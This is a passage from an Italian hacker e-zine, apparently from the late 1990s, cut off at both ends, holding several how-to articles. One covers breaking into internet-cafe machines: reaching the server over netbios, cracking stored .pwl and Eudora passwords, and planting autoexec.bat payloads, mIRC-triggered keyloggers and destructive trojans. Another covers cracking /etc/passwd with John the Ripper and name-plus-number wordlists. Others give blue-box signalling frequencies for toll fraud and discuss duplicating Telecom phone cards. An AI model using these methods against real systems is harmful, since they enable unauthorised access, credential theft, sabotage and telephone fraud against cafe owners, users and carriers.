il programma \windows\explorer.exe ... e ce ne sono tantissimi altri di questi trucchetti attuabili semplicemente con il browser ed un po' di fantasia. Un altro piccolo trucchetto sta nell'utilizzare programmi tipo mirc, eudora o cavoli vari che prevedono l'apertura di un browser predefinito in certe situazioni .... :)) bastera' cambiare il nome del file da eseguire et voila' (esempio, potete aprire un browser dalla finestra about del mirc, premendo sul tasto che permette di visitare la homepage del programma). Quindi passiamo al tipo di protezione che piu' rompe il cazzo ... e che per ora ho visto solamente nel netcafe dove sono andato oggi: un programma chiamato NetFun Time, che permette non soltando l'esecuzione di certi programmi, ma in piu' blocca completamente windows facendo eseguire i programmi all'interno di quella che possiamo definire "area protetta", lockando combinazioni di tasti etc etc. Allora cosa possiamo fare? Semplice... ci procuriamo le password :). Solitamente i cafe hanno dei sistemi windows95, che come ben saprete, non hanno alcun sistema attivo di permessi in lettura-scrittura-esecuzione in quanto ai file... cosa c'e' di piu' semplice che localizzare queste password e utilizzare i terminali totalmente a sbafo ? :) Alcune volte, aprendo la gestione risorse di win, vi renderete conto che alcune unita' di rete sono gia' collegate, e se questa situazione e' vera, potete avere cosi' tanto culo da essere collegati con l'hd del server principale... lo so, queste cose sono cosi' tristi che fanno piangere... ma ormai la gente usa solo il computer pe' fa' i gio'hini ganzi ;) Altrimenti... potete benissimo accedere alle altre "unita' di rete" attraverso il netbios... Ma mi raccomando: attenzione! Tutto dipende dall'admin! Spero poi che abbiate eseguito tutto cio' consigliato precedentemente nella certezza di non essere visti :))) Comunque, per vedere lo status del suddetto netbios eseguite questo comando dal prompt del dos... >nbtstat -a host_della_macchina Altrimenti, nel caso di ip numerico, utilizzate -A Questo vi dara' la possibilita' di controllare se il server e' accessibile via netbios... e potrete mountare la partizione utilizzando la gestione risorse (vi rimando a bfi1... c'e' un articolo a riguardo). Una volta mountata la partizione da attaccare, allora potete veramente divertirvi tanto... di solito le password di questi programmi sono semplicissimi file in formato testo, quindi apribili con qualsiasi editor o viewer, e si trovano nella directory del programma di sicurezza. Di solito provate a bazzicare anche nella dir \windows, dove trovate tra gli .ini molta roba interessante... :)) Le vie del divertimento sono infinite.. basta avere un po' di fantasia! Io consiglio, in primis, di dare un occhio alla mail dell'admin, lanciando un qualsivoglia client remotamente... puo' essere divertente :)). Mi raccomando, non cancellate nulla pero'... altrimenti va contro l'etica dell'autore :>. Le cose da cercare su una macchina del genere, prima di tutto, sono i file di configurazione delle connessioni ppp, o perlomeno le loro password (che risiedono in \windows con l'estensione *.pwl), che sono crackabili con il programma glide... che si trova ovunque.. armatevi di altavista e via :). Infatti, molti cafe hanno una connessione isdn .. e non sarebbe affatto male prendersi un account del genere hehehe. Inoltre, cose da cercare per divertirsi un po' sono i documenti riservati, modificabili a proprio piacimento... io ad esempio ho trovato i volantini pronti da stampare per pubblicizzare il cafe... un ritocchino e via :>. Ritornando sul discorso mail, potete provare a beccare l'eudora.ini.. che di solito contiene le password di mail, che sono crackabili pure quelle... io l'ho fatto con le versioni piu' vecchiotte, non so se nelle ultime release queste password siano ancora crackabili. Se infine ne avete la possibilita', potete benissimo dare una sbirciata nel file di registro utilizzando il programma \windows\regedit.exe... alcune password di solito si trovano li', e li' potete trovarci pure il file di configurazione del sistema di protezione. Ve l'ho detto, ci sono migliaia di metodi per divertirsi :)). Adesso passiamo alla parte un po' piu' cattiva... ovvero: inserimento di "backdoor", trojan ed altre cosucce nel sistema dell'admin ... huhuhu. Una volta preso l'accesso alla macchina (che e' semplicissimo, in quanto il trucco del netbios funziona quasi sempre), come non potete lasciare qualche ricordino al vostro caro admin che chiede 15k lire per ora di connessione ? :>. Naturalmente, vi ricordo che se combinate guai e vi beccano sono solo cazzi vostri... bisogna sapere sempre cio' che si fa e come ovviare ai problemi che si possono presentare... Comunque: la cosa che consiglio di fare e' lasciare la propria firma da qualche parte, magari indicando precisamente il vostro nome, il numero di telefono ed aggiungendo qualche frase che faccia molto 31337, da bravi lameroni :>. Scherzi a parte, una bella serie di echo nell'autoexec.bat della vittima mi sembrano il minimo... magari seguiti da un pause per costringere il tipo a doversi leggere la roba... Naturalmente, potete abusare a vostro piacimento di questo file ... facendo fare al sistema tutto quello che volete :). Purtroppo, windows fa veramete schifo al cazzo, e non e' per nulla flessibile, quindi scordatevi finezze unixistiche... Pero' vi consiglio alcune cosette molto carine che potete combinare. Prima di tutto localizzate il client irc della vittima, ed editate i vari file contenenti script vari per automatizzazione di certe operazioni e controllo di condizioni del client. Vi consiglio, poiche' se il sistema e' windows sara' usato al 99% mirc, di cambiare le impostazioni del remote.ini ... e da far lanciare qualsiasi cosa voi vogliate quando una certa parola viene scritta oppure ricevuta... La stessa cosa la potete fare con i popups: nel mentre viene oppata una persona, viene fatto girare un keylogger in background che logghera' in un file tutto cio' che si mette in form che ad esempio chiedono una password :>.... ve lo ripeto, sbizzarritevi... Le cose piu' cattive che poi si possono fare poi, prevedono l'inserimento di trojan distruttivi di qualsiasi tipo.... ma mi raccomando non lo fate... a meno che l'admin non sia un grandissimo figlio di puttana che si merita questo trattamento :> Io l'ho fatto ad un tipo perche' aveva nel proprio hd delle immagini porno piuttosto schifose... stile pedofilo... :). Quindi vi saluto, sperando che questi piccolissimi e veloci appunti vi siano di aiuto nel caso vi ritrovaste in un netcafe... o che ne siate uno dei tanti dipendenti che si collegano da quei postacci li' :> [Goku] Greets: |-ru5ty-, |_NaThAn|, e tutti i guaglioni del S0ftProject :> EOF ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ PASSW0RD CRACKiNG ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Cosa vi occorre: un computer potente (trattero' solo i prog per Win95, visto che e' l'OS piu' diffuso) qualche piccolo prog (dopo spieghero' meglio) tanto tempo da cacciare nel cesso una gran bella dose di culo :o) Dopo aver letto con molta attenzione bfi1 & 2, dopo avere nominato decine di volte il nostro caro amato /etc/passwd, a qualcuno dei "novelli" sara' balenata una domanda in testa: "ma che cazzo e' un passwd?" E' un nostro caro amico, fidatevi :o))) Il passwd non e' altro che il file in cui vengono registrati i dati piu' importanti di ogni utente del sistema: login, password, homedir, shell, e qualcos'altro ancora. La cosa bella dei sistemi Unix e Unix-like e' che in un unico file (il passwd, per l'appunto) vengono registrate tutte le login e le pass degli utenti, a differenza di quel porco di WinNT che sparpaglia queste preziosissime infos su tutto l'HD :o( Il bello del passwd e' che e' visibile (anche se non modificabile) da ogni utente, quindi non vi costa nessuno sforzo protarvene una copia a casa e giocherellarci un po'. Possibilmente non fate i pirloni, evitate di lanciare cose del tipo: "vi /etc/passwd" perche' il root con un semplice ps vi becca subito.... mandatevelo via e-mail, oppure lanciate solo "vi" e poi aprite il passwd (di questi trucchetti ne hanno gia' parlato in tanti su bfi1 e 2, quindi andateveli a rileggere :). Come e' fatto il passwd? E' composto da un certo numero di righe, tutte uguali tra di loro, ognuna dedicata ad un singolo utente. Ogni riga deriva dall'unione di 7 campi, ciascuno separato da un ":". Ecco un esempio: vitello:IC5uLFUM4cYzU:542:100:Vitello Giovanni:/utenti/vitello:/bin/bash dove i campi sono: username:password:UID:GID:nome utente:home dir:shell "Figo! allora basta che mi loggo come vitello, digito IC5uLFUM4cYzU come pass e sono dentro! Facilissimo!"... e no, qui vengono i dolori! la password e' cifrata (vabbe' che i root molte volte li prendono su postalmarket, ma scemi fino a questo punto no!), e non esiste un algoritmo di decifrazione. Questo perche' la soluzione del problema matematico che sta alla base dell'algoritmo di decifrazione avrebbe qualcosa come 10^19 soluzioni (che in pratica scendono a 10^16 basandosi sul fatto che non tutti i caratteri ASCII sono utilizzabili) ...troppe, anche se avete un alpha 400MHz ! Prima di passare alle tecniche di decifrazione delle pass, soffermiamoci un attimo sui vari campi delle righe del passwd: username: niente da dire, qui ci va lo username! limite massimo 8 caratteri, a scelta tra simboli ASCII, caratteri di escape (come ctrl+z), etc.... password: beh, anche questo campo non ha bisogno di particolari spiegazioni. I limiti sono gli stessi che per lo username. In questo campo possono essere anche contenute infos aggiuntive, come la scadenza dell'account. Se il campo e' vuoto vuol dire che l'utente non ha pass, mentre se e' occupato da un solo carattere (in genere un "+" o un "*" o una "x") significa che l'accesso e' disabilitato. Se tutte le password sono disabilitate, probabilmente il sistema e' protetto da uno shadow-passwd, cioe' un file in cui sono registrate le sole login e le rispettive passwords di tutti gli utenti. Il brutto e' che, ahime', lo /etc/shadow e' visibile solo dal root (e' settato -rw------). In questo sfortunato caso, del passwd non ve ne fate un granche', e vi tocca sfruttare uno qualunque dei bug del sistema che state hackerando per aprire una shell con E-UID=0 e prelevare lo shadow. A questo punto vi lascio come compitino a casa di fare un piccolo e scemo programmino che prenda le password criptate dello shadow e le ricopi nel passwd al posto degli "*" (o quello che e'). Un'altra possibilita' e' che il root abbia deciso di usare le Yellow Pages, cioe' abbia deciso di tenere il passwd reale in una sola macchina della rete, a cui faranno capo tutte le altre macchine ogni volta che ce ne sia necessita'. E qui sono cavoli amari! A volte funziona il comando "ypcat passwd", a volte no. Quindi vi tocca trovare da soli quale sia la macchina in questione, loggarvici sopra e rifare tutto da capo. Un trucchetto: fate uno script che vi cambia la password migliaia di volte di seguito; se lo lanciate nei momenti in cui la rete non ha utenti che la usano, con l'arp spiccheranno due macchine a traffico elevato: quella su cui avete lanciato lo script, e quella su cui e' conservato il passwd!!! UID: Contiene un numero che identifica in modo univoco l'utente. Ad esempio, per root si ha che UID=0, quindi quando usate un qualunque bug per prendere i diritti di root, quello che avviene in realta' e' una impostazione del vostro UID effettivo (E-UID) a zero. GID: Come UID, ma in questo caso identifica il gruppo di appartenenza. Mentre l' UID in genere cambia da utente a utente, il GID puo' essere costante anche per centinaia di utenti. nome utente: in questo campo viene inserita la ragione sociale del proprietario dell'account... bene! almeno quando fregate una password, sapete a chi l'avete presa!!! home dir: in questo campo viene specificata la directory home di ciascun utente. Se viene specificata una directory inesistente, in genere di default ci si ritrova nella root. shell: ecco un campo molto importante: qui trovate il nome della shell che viene aperta quando l'utente si logga nel sistema (una shell e' un po' come una finestra di win95, tanto per capirci). In questo campo potete trovare di tutto: /bin/bash, /bin/sh, /bin/csh, /bin/tcsh in questo caso l'utente ha una shell vera e propria, cioe' puo' inviare comandi, eseguire programmi, etc... /bin/ppp, /bin/slip e simili al momento della login, viene lanciato il programma specificato, e null'altro. Succede tipicamente negli ISP /dev/null come dire: ci metto qualcosa proprio per non lasciarlo vuoto :o))) e' intuitivo che si possono creare account ad hoc per determinate funzioni... per esempio, mettendo /sbin/shutdown come shell, chiunque puo' spegnere il sistema in remoto, senza necessariamente essere root. Ovviamente questo campo non puo' essere lasciato vuoto, se si vuole avere accesso al sistema! Finito questo breve excursus sui campi del passwd, passiamo a quello che ci interessa davvero: decriptare le password. "Ma come, non avevi detto che era impossibile??" e' vero, l'ho detto. Non si puo' decriptare una password cosi', come si fa con quelle degli screen saver di Win95... l'unica nostra ancora di salvezza e' un bel brute force attack. Cioe': prendo una parola qualunque, la cripto, e la confronto con tutte le passwords cifrate del passwd. Se ne trovo una uguale, sono riuscito nel mio intento! Certo, detto cosi' puo' sembrare una cosa molto lunga, ed in effetti lo e'... pero' basandosi sul fatto che il 90% degli utenti sono dei perfetti imbecilli (e le loro password pure), abbiamo ottime speranze di riuscita. Scordatevi di decriptare un passwd per intero, non ci riuscirete mai. Pero' su di un file di 1000 utenti, possiamo trovare anche piu' di 100 password... mica male, no? Io uso due metodi distinti per decriptare le pass: -Primo metodo (+ veloce, + facile, - preciso) mettete il passwd nella stessa directory in cui avete messo il John The Ripper, aprite una shell di DOS e digitate: john -single -pwfile:passwd le pass trovate appaiono direttamente sullo schermo, non avete altro da fare che ricopiarvele e siete a posto! Oppure lanciate: john -single -pwfile:passwd > trovate.txt in questo modo sullo schermo non vedrete un bel niente, e tutto andra' direttamente nel file "trovate.txt".... piu' veloce di cosi' :o) In questo specifico caso, il john.exe non fa altro che creare un file temporaneo contenente tutte le login, i nomi e cognomi di ciascun utente, mischiandoli, aggiungendo qualche carattere preso a caso, etc.... Poi li cripta uno ad uno, e li confronta con il passwd. In genere, in questo modo troverete account del tipo: pippo:pippo1 maria:franca44 franco:mario52 in cui le pass sono molto simili alle login rispettive, o anche alle login di altri utenti. -Secondo metodo (molto + lento, + incasinato, + preciso) Questo metodo si basa sulla generazione controllata di una wordlist, cioe' di un file contenente un certo numero di parole, una per riga, che rispondono ad un criterio di generazione ben preciso. Ho creato un programmino che fa tutto questo per noi: il jpip. Il jpip (non chiedetemi l'origine del nome...l'ho tirato a caso! :) e' un generatore di wordlist: dobbiamo specificare la parola con cui la list deve iniziare, la parola con cui dovra' terminare, quali simboli usare. Ad esempio: una wordlist che inizia da "aa" e termina con "zz" che comprenda le sole lettere minuscole sara' una cosa del tipo: aa ab ac ad ... ... az ba bb bc ... ... zx zy zz (ho ovviamente omesso di riportare tutte le righe per brevita' :o) Quando ho provato a crakkare passwords in questo modo per la prima volta, sono rimasto sorpreso da quanta gente usasse passwords cretine di 3 max 4 caratteri, tutti in genere lettere minuscole e a volte numeri. Creata la wordlist, basta lanciare john -single -pwfile:passwd -wordfile:list.txt dove "list.txt" va sostituito con il nome che avete dato alla wordlist. Questo metodo e' decisamente piu' lungo, ma vale la pena usarlo con passwd piccoli (con i quali il john fa ben poco) o quando si vuole trovare la password di un determinato account: basta togliere dal passwd tutti gli account che non ci interessano, velocizzando di molto l'operazione. Facciamo un attimo due conti: le passwords sono al max di 8 caratteri, e supponiamo che vengano usati solo 100 simboli (ASCII e non). Ci sono quindi 100^8 = 10^16 possibili combinazioni. Con il mio K6 233MHz, per provare tutte le combinazioni su di una sola password con il john, ci vogliono piu' di un miliardo di anni!!!!! Ma allora questo metodo e' una vaccata!!! No, fermi, non e' cosi'! Dalla mia esperienza diretta ho imparato che il 90% delle password sono composte di soli caratteri minuscoli, al massimo con uno o due numeri in fondo. La maggior parte delle volte sono del tipo: "nome di persona" + "numero da 00 a 99", tipo paolo56, enri12, scemo32. Ecco quindi la mia idea: con il jpip genero delle liste di parole formate da nomi propri, seguiti da i numeri da 00 a 99. Esempio: paolo00 paolo01 paolo02 paolo03 ....... paolo99 enri00 enri01 enri02 ...... etc etc etc Con questro truccheto si trovano piu' password di quante possiate immaginarne!!! Basta un po' di fantasia nella scelta dei nomi, ed il gioco e' fatto. Il nome ed il cognome degli utenti sta li' in bella mostra nel passwd, e questo e' un grosso punto a nostro favore! ok, aspiranti hacker, per oggi e' tutto.... la prossima volta (ammesso che bfi pubblichi questo mio doc) parlero' un pochino piu' approfonditamente del john, del cracker jack, di altri metodi carini per avere un po' di password in piu'.... crakkate gente, crakkate!!! -jH- ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍPHREAKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ áLUEá0X iN iTALiA ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Questo documento vuole soltanto essere una "infarinatura" al bluebox ed ha soltanto skopo informativo. Ricordo ke la BlueBox e' una frode e quindi ILLEGALE e POTREBBE essere perseguita a norma di legge. Non incito nessuno ad usare tale tecnica. La Bluebox esiste ormai in Italia da decenni quando i primi pionieri buttavano giu' qualunque Countrydirect con un semplice at&t standard tone 2600/2400, per intenderci... Andando avanti nel tempo,i numeri "boxabili" sono andati via via diminuendo a causa del non moderato uso della suddetta tecnica. A mio parere,e badate bene, e' solo un mio parere, la BlueBox andrebbe usata SOLTANTO x chiamate a voce, gli altri usi, quali Trading e via dicendo, sono a mio avviso inutili. Lo scopo fondamentale e' comunicare con altra gente, comunicare il nostro modo di essere, le nostre idee, non downloadare 100mb di warez in intercontinentale... questo e' quello che penso. Andiamo adesso a parlare un po' piu' a fondo. Molti si kiederanno : "ma e' vero ke la bbox non funziona piu'?" Falso, la Bbox in italia NON HA MAI smesso di funzionare, si sono soltanto evolute le tecnike di difesa delle varie Telecom. I protocolli piu' usati nella storia della bbox sono essenzialmente 2, il CCITT4 ed il CCITT5. Il CCITT4 e' ormai un protocollo in disuso, con segnalazione in banda. La qualita' di tramissione di informazione e' pessima, in pratica riuscite a sentire solo fruscio. E' POSSIBILE ke alcuni paesi del terzo mondo usino ankora questo tipo di segnalazione, ma IN ITALIA nessun paese e' raggiungibile via C4. Per completezza ecco gli introvabili trunk. ------------------------------------- CCITT: -4- (Q.121 & Q.115) -------------------------- HANGUP: 2040 & 2040 HZ FREQ1 (2040 HZ): 0 FREQ2 (2400 HZ): 1 PREFIX: 80 MS +/- 20 MS SHORT SIGNAL: 40 MS +/- 10 MS LONG- SIGNAL: 200 MS +/- 40 MS DIGIT: -PULSE- SHORT INFO: -1- 1-1-1-0 DIGIT #-1- -2- 1-1-0-1 DIGIT #-2- -3- 1-1-0-0 DIGIT #-3- -4- 1-0-1-1 DIGIT #-4- -5- 1-0-1-0 DIGIT #-5- -6- 1-0-0-1 DIGIT #-6- -7- 1-0-0-0 DIGIT #-7- -8- 0-1-1-1 DIGIT #-8- -9- 0-1-1-0 DIGIT #-9- -0- 0-1-0-1 DIGIT #-0- CODE 11 0-1-0-0 CALL OPERATOR CODE 12 0-0-1-1 CALL OPERATOR SP.C. I 0-0-1-0 SPACE CODE - SEE Q.104 IHES 0-0-0-1 INCOMMING HALF ECHO SUPRESSOR (REQUIRED!) SP.C. II 1-1-1-1 SPACE CODE E.O.P. 0-0-0-0 END OF PULSING KP1 PX LOCAL- CALL KP2 PY GLOBAL CALL CLEAR FORWARD PXX \ BETTER READ XFER- FORWARD PYY / - Q.121! FF FREQ1 (2040 HZ): 0 FREQ2 (2400 HZ): 1 PREFIX- SIGNAL: P 150 MS +/- 30 MS (0 AND 1 COMPOUND!) CONTROL SIGNAL: X 100 MS +/- 20 MS (0 SHORT SINGLE SIGNAL!) Y 100 MS +/- 20 MS (1 SHORT SINGLE SIGNAL!) XX 350 MS +/- 70 MS (0 LONG- SINGLE SIGNAL!) YY 350 MS +/- 70 MS (1 LONG- SINGLE SIGNAL!) ------------------------ > CCITT 5 Il CCITT 5 e' il protocollo ke ATTUALMENTE rende possibile la BBOX. Dimentikavo di aggiungere una cosa. Quando questi protocolli furono creati, si penso' ad un sistema mediante il quale si potesse risparmiare nel costo materiale e tecnico nella realizzazione. La scelta fu facile: Segnalazione in banda. Ovvero, i segnali ke la centrale invia non hanno una BANDA PROPRIA, ma viaggiano sulla stessa banda sulla quale viaggia LA NOSTRA VOCE, ecco perche' esiste la BBOX. Molti paesi hanno deciso di adottare il CCITT7 ke non permette segnalazioni in banda, protocollo di cui parleremo piu' avanti nell'articolo. IL CCITT 5 permette una qualita' media/buona/ottima di trasmissione, ragion per cui e' ankora oggi adottato da molti paesi. Come si difendono le telecom di tutto il mondo? Beh, facile, utilizzando dei filtri, ovvero dei mekkanismi ke impediscono il passaggio dei toni di hangup, buttando giu' la linea. I filtri di SOLITO non sono mai attivi di default. Si attivano soltanto quando sulla linea e' presente un segnale di cui "riconoscono" la pericolosita'. Alcuni filtri alterano soltanto il trunk... cio' signifika ke magari un 2600/2400 verra' interpretato come 2550/2350..in questo kaso, come kapite, basta soltanto variare la frequenza :) Nessun filtro NON e' bypassabile. Ricordate :) Esistono altre variazioni del CCITT 5, R2, Socotel and so on, ma sono praticamente protocolli caduti in disuso. > Cenni sui Routing Code Un altro problema della bluebox e' il routing code... all'inizio TUTTI i paesi usavano A0XXXXXXC x kiamate internet e BcountryprefixXXXXXXC per kiamare fuori dal paese. Chiaramente ormai le Telecom si son fatte furbe e trovare i routing code non e' facile. Una soluzione sarebbe quella del "doppio break", ovvero kiamare un paese A, da A kiamare un countrydirect di un paese B e sperare ke il paese B abbia il Kp2 enable con un routing code standard. Kiaramente le freq devono essere ESATTISSIME, perche' un tono sbagliato potrebbe far cadere A il primo paese brekkato :) Insomma, un casino, ma divertente da provare :) --------------- CCITT: -5- ---------- EG: USED IN USA, CAN, AUSTRALIA & JAPAN HANGUP: 2600/2400 HZ TIMING: 100-640 MS DIGIT: ------ -1- 700 HZ + 900 HZ -2- 700 HZ + 1100 HZ -3- 900 HZ + 1100 HZ -4- 700 HZ + 1300 HZ -5- 900 HZ + 1300 HZ -6- 1100 HZ + 1300 HZ -7- 700 HZ + 1500 HZ -8- 900 HZ + 1500 HZ -9- 1100 HZ + 1500 HZ -0- 1300 HZ + 1500 HZ CODE 11 700 HZ + 1700 HZ CODE 12 900 HZ + 1700 HZ KP1 1100 HZ + 1700 HZ KP2 1300 HZ + 1700 HZ ST 1500 HZ + 1700 HZ TIMING: NUMBER-- DIGITS: 0,1-9 LENGTH: 55 MS +/- 7 MS DELAY : 55 MS +/- 7 MS OPERATOR DIGITS: C.11/12 LENGTH: 100 MS +/- 15 MS DELAY : 55 MS +/- 7 MS CONTROL- DIGITS: KP1/2 & ST LENGTH: 100 MS +/- 15 MS DELAY : 55 MS +/- 7 MS SOMETIMES YOU CAN/MUST USE SHORTER OR LONGER DIGITS AND THE "START PULSING (ST)" IS SOMETIMES ONLY: 25 +/- 15 MS (+/- 5 STEPS) ---------------- Ed ecco a voi il famigerato protocollo ODIATO da tutti i Phreakers: >CCITT7 IL CCITT 7 e' il nuovo protocollo internazionale ke usa, come gia' detto, 2 canali differenti per le segnalazioni. Un canale voice ed un canale "dati". Il canale "dati" e' stato introdotto, KIARAMENTE, per non permettere di utilizzare la bluebox, dal CCITT6 in poi, la bluebox e' morta :) Inoltre sul kanale dati e' possibile inviare delle informazioni in piu', come per esempio il Caller_Id, avvisi di kiamata e opzioncine varie. Il CCITT 7 utilizza delle tecnike "ANTI FRODE", verificando la lunghezza delle kiamate, le kiamate ripetute ad un solo numero e via dicendo. Il controllo viene effettuato con un "pattern matching". I patterns vengono misurati ad ogni kiamata e qualunque kosa ke non stia dentro i patterns e' una possibile frode. Di solito le possibilita' di frode vengono segnalate per diverse ragioni, per verifikarne o meno l'esattezza non si fa altro ke "loggare" la linea, per dirla alla italiana :) XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXX \ XXXXXXXXXXXXXXXX \ XXXXXXXXXXXXXXXX \ Out-of- --> XXXXXXXX \ Continues --> XX XXXXXXXXXXXXXXXX - Pattern --> XXXXXXXX - Out-of-Pattern --> XX XXXXXXXXXXXXXXXX / XXXXXXXX / or XXXXXXXXXXXXXXXX / Manual XXXXXXXXXXXXXXXX / Inverstigation XXXXXXXXXXXXXXXX Calls going Monitoring Alarms of Continued FRAUD though Monitoring system Monitoring Out-of-Pattern CASES system Analyzing system or Manual Investigation Purtroppo non ho tantissimo materiale su questo protocollo del quale, kiaramente,non mi sono mai interessato. Ho qui delle frequenze ke spero siano esatte, ma badate, non ne sono per niente certo, anke perke' credo ke non approfondiro' le mie ricerke riguardo il suddetto protocollo. ------------------------ CCITT: -7- ---------- HANGUP1: 2600HZ +/- 300HZ HANGUP2: 2400HZ +/- 80HZ HANGUP3: 600/900 HZ HANGUP4: 400/900 HZ SEIZE1: 2400HZ +/- 250HZ SEIZE2: 2400HZ +/- 300HZ SEIZE3: 600/900HZ SEIZE4: 750HZ +/- 300HZ SHIFT-RATE +/- 200HZ TIMING: 100-2000 MS DIGIT: +/- 50HZ ------ -1- 700 HZ + 900 HZ -2- 700 HZ + 1100 HZ -3- 900 HZ + 1100 HZ -4- 700 HZ + 1300 HZ -5- 900 HZ + 1300 HZ -6- 1100 HZ + 1300 HZ -7- 700 HZ + 1500 HZ -8- 900 HZ + 1500 HZ -9- 1100 HZ + 1500 HZ -0- 1300 HZ + 1500 HZ CODE 11 700 HZ + 1700 HZ CODE 12 900 HZ + 1700 HZ KP1 1100 HZ + 1700 HZ (+/- 200HZ) + TONE 3 + TONE 4 KP2 1300 HZ + 1700 HZ (+/- 200HZ) + TONE 3 + TONE 4 ST 1500 HZ + 1700 HZ (+/- 200HZ) TIMING: NUMBER-- DIGITS: 0,1-9 LENGTH: 55 MS +/- 7 MS DELAY : 55 MS +/- 7 MS OPERATOR DIGITS: C.11/12 LENGTH: 100 MS +/- 15 MS DELAY : 55 MS +/- 7 MS CONTROL- DIGITS: KP1/2 & ST LENGTH: 100 MS +/- 15 MS DELAY : 55 MS +/- 7 MS -------------------------- > Arresti Non si e' MAI verifikato in italia un arresto per BLUEBOXING nonostante le miriadi di messaggi fake ke girano da anni. La telecom conosce l'esistenza del bbox, ma a quanto pare non e' interessata a perseguire i bboxer come altre compagnie quali at&t e German telekom, si limita a barrare i country direct o ad installare dei semplici filtri. > Ma adesso si puo' boxare ? I paesi boxabili, a quanto ne so, sono attualmente 3, ma tutti in LOCALE e nessun kp2... Se qualcuno puo' contraddirmi... beh, ke lo faccia :) ho nostalgia di un bel b39XXXXXXXXC > Le tue idee riguardo la box ? Io credo ke il diritto alla comunikazione debba essere FREE, a mio avviso, nessuna telefonata andrebbe pagata, anke se, ahime', anke io come voi, pago le mie bollette. Usare bbox ed altri trukki x skarikare warez e' un insulto alla vera etika del phreaker. Eric Draven! ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍPHREAKiNGÍÍÍÄÄÄÄÄÄÄÄÄ PR0JECT MTŸ - L0CALiSTA 0 SERiALiSTA? ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍͼ Purtroppo a volte si dedicano molte energie per raggiungere un obiettivo senza porsi la domanda se siano validi i postulati di partenza.. Nel mio caso il problema da risolvere era: come cavolo duplicare le tessere Telecom, ma prima di tutto bisognava chiedersi: serve duplicare le carte Telecom? La questione ha suscitato numerosi scontri ideologici, contrapponendo due fronti. Il primo, detto dei "localisti" (definizione by McKrak), sostiene che le schede abbiano nella loro banda magnetica il numero di scatti ancora da effettuare e il rotor restituisca l'importo rimasto solo in base a questo valore. Come mostrava anche il mio precedente articolo e' innegabile che sul nastro magnetico ci sia scritto quanti dindini si hanno a disposizione e che questo dato venga aggiornato ad ogni utilizzo. A questa filosofia si contrappone la teoria dei "serialisti", convinta invece che la tessera trasmetta ad una centrale il proprio numero di serie (anche questo documentato dalle mie analisi) e che poi quest'ultima ritrasmetta l'importo restante. La tessera contiene il numero di scatti rimasti perche' solo gli ultimi rotor usufruiscono di questa "rete intelligente" Telecom, mentre alcune cabine ragionano ancora col vecchio sistema.. Sinceramente ero un convinto "localista", ma dopo essermi confrontato con alcune persone che ritengo serie e competenti sto cominciando ad avvicinarmi alla scuola "serialista". Ecco ad esempio degli spezzoni di mail che affrontano questo problema: ---- >la duplicazione pura e', oltre che non facile, perfettamente inutile... da >circa tre anni tutte le cabine in Italia sono collegate a quella che si >chiama rete intelligente (la stessa che gestisce i numeri verdi, i 166/144, >etc.), che non e' altro >il collegare un bel database generical purpose ad una rete telefonica >pubblica. L'unico dato che viene utilizzato delle tessere >magnetiche e' il numero di serie (impresso nella prima parte della banda >magnetica), il restante segnale (i soldi rimasti) anche se viene ancora >modificato NON viene piu' assolutamente utilizzato. Su un database di >gestione ad ogni numero di serie di card e' associato l'ammontare rimasto. >Per verificarlo prova banale: copiate una carta prepagata (almeno quello a >questo punto dovreste saperlo fare), usate una delle due copie in una >cabina e scendete ad esempio da 4000 a 3000lire di credito rimasto. Provate >l'altra copia in un'altra cabina e vedrete che vi dara' 3000lire rimaste e >non 4000 sebbene quella tessera non sia stata toccata... scendete da 3000 a >2000 con questa seconda e riprovatele entrambe dove volete e le troverete >scese a 2000lire... >unica soluzione e' scoprire l'algoritmo dei numeri di serie (e penso sia >banale, se non addirittura progressivo) e cambiare il numero di serie sulle >carte copiate (complicato, bisogna sapere oltre che il bias del nastro >magnetico anche la modulazione esatta usata >da telecom,anzi dalla urmet, e riprodurla)... ---- // qui sono io che scrivo :) >> Se le cose stanno cosi' sono davvero kazzi.. la mia domanda e': >> Ma se funziona davvero in questo modo... come mai non c'e' un ritardo nella >> lettura del valore delle carte e non ci sono mai errori ? >Premessa: ti ricordo che il 'doppino' che arriva alle >cabine e' da sempre composto da 4 fili invece che 2. >Su 2 fili viaggia la voce e su 2 la segnalazione verso >la rete... >Il ritardo nella lettura del valore delle carte e prima >di questo del numero di serie della carta c'e' : ed >e' dell'ordine dei 400-500 ms... Per non farti sembrare >strani (o veloci) questi numeri ti ricordo che, ad >esempio, un DNS server (su internet che e' una rete >generical purpose, molto piu' complessa e lenta della >rete intelligente telefonica) di un dominio in culo ai >lupi (hong kong ad esempio), in condizioni di rete >normali, ti converte un indirizzo nominale che hai >richiesto (www.cheneso.hk), facendo i vari passaggi >gerarchici tra i dns e supponendo www.cheneso.hk non >in cache di qualche dns nazionale intermedio, in >media in 800-900 ms. La cabina deve solo inviare pochi >bytes alla centrale sul canale di segnalazione e questa >richiedere alla centrale di rete intelligente una >risposta (i database dovrebbero essere 3 o 4, probabilmente, ma >qui azzardo, Milano, Roma, Napoli, Palermo)... >> In fondo con >> tutte le carte in giro per l'italia, i server che mantengono in memoria il >> valore non possono essere sempre cosi' rapidi... >> E poi perche' i rotor 